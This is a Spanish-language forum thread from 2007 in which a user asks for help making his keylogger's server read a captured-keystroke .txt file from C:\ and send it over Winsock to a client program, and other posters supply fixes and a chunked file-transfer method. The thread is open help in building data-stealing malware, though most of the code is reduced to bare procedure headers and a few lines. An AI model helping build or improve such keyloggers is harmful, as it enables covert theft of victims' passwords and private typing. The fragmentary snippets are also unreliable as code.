Título: abrir txt leerlo y enviarlo Publicado por: K-19 en 24 Enero 2007, 19:52 pm pues eso quiero hacer una funcion para el keylogger que seria la siguiente, cuando yo le de a un boton, quiero que el server me lea un .txt que se encuentra en C:\ y me mande los datos, y cuando lleguen al cliente quiero que el cliente los meta en un textbox para yo leerlo. yo tengo algo asi pero no me funciona.
Server.exe (DataArrival) Código: Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) Cliente.exe (DataArrival) Código: Private Sub WS_DataArrival(ByVal bytesTotal As Long) si alguien podria decirme como es mas o menos se lo agradezco mucho :) Título: Re: abrir txt leerlo y enviarlo Publicado por: Sancho.Mazorka en 24 Enero 2007, 21:57 pm Mira cometiste un par de errores como usar el metodo de agregar texto a un archivo ( Append ) cuando tenia que ser de entrada ( Input )
Server.exe (DataArrival) Código: Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) Cliente.exe (DataArrival) Código: Private Sub WS_DataArrival(ByVal bytesTotal As Long) Espero que te sirva, talvez que me equivoque con el input, avisame si es asi. Sancho.Mazorka :P Título: Re: abrir txt leerlo y enviarlo Publicado por: K-19 en 25 Enero 2007, 14:53 pm me sigue dando el mismo error, me dice unsuported variant type, el error me da al darle al boton, q le puse ws.senddata keylog y lo de input #1, text4.text no me dejo ponerlo asi, tuve q meter text4.text en una variable, alguna sugerencia?
gracias Título: Re: abrir txt leerlo y enviarlo Publicado por: ~~ en 25 Enero 2007, 17:51 pm Server.exe (DataArrival)
Código: Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) Cliente: Código: Private Sub WS_DataArrival(ByVal bytesTotal As Long) He cambiado un par de cosas. Si te sigue dando error dime la linea y lo miro ;) 1S4ludo Título: Re: abrir txt leerlo y enviarlo Publicado por: K-19 en 25 Enero 2007, 19:23 pm esta linea me da un error :S
Código: put #1, Text4.Text me dice, Expected: list separator Título: Re: abrir txt leerlo y enviarlo Publicado por: K-19 en 25 Enero 2007, 21:18 pm bueno buscando y buscando encontre manuales y ejemplos en ingles y lo apliqué, lo pongo por aqui por si interesa:
Server.exe (DataArrival) Código: Private Sub WS_DataArrival(ByVal bytesTotal As Long) Título: Re: abrir txt leerlo y enviarlo Publicado por: ~~ en 26 Enero 2007, 22:44 pm Si, tienes razon le falta una oma que me e comido:
Código: Put #1, , Text4.Text Una cosa. Ese code q has puesto no funciona si el archivo es muy grande (haz la prueva) por q el ws parte las cadenas q envia, tienes q hacerlo asi: Server: Código: Private Sub Form_Load() Cliente: Código: Dim DataFile As String He puesto ademas para que salga un ProgressBar1 si no lo quieres simplemente elimina estas lineas: Código: ProgressBar1.Max = LenFile 1S4ludo Título: Re: abrir txt leerlo y enviarlo Publicado por: K-19 en 28 Enero 2007, 22:15 pm muchas gracias E0N, ya lo pruebo mañana :rolleyes: la verdad es que si, me fije que cuando el .txt llegaba a un cierto tamaño pues no lo enviaba todo, e iba a postear la duda pero como el foro me lleva unos dias dando problemas, supongo q a todos, pues hasta hice que cuando llegue a un cierto tamaño pues moviera el txt a otro directorio y crear otro nuevo y asi. pero mejor como tu lo hicistes, menos engorroso xD gracias ;)
|